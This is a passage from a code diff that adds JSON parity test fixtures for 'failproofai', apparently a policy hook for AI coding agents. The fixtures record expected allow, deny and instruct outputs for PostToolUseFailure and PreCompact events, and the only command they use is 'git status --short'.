"sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3a88afe9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..a8b82d33 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b3f881b6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolUseFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostToolUseFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..ce9079fb --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolUseFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PreCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..595d29b0 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PreCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..77fcaf9c --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PreCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..890fa20a --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PreCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c3056f1f --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PreCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..68561602 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PreCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..bca21e4f --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PreCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..c16ba753 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PreCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..7023af1a --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PreCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..7996b1be --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PreCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..91726a74 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PreCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a5d36784 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PreCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c0d04f97 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PreCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..cc5985d1 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PreCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b153a612 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PreCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..13f5fa33 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PreCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PreCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PreCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a6ac7f05 --- /dev/null +++ 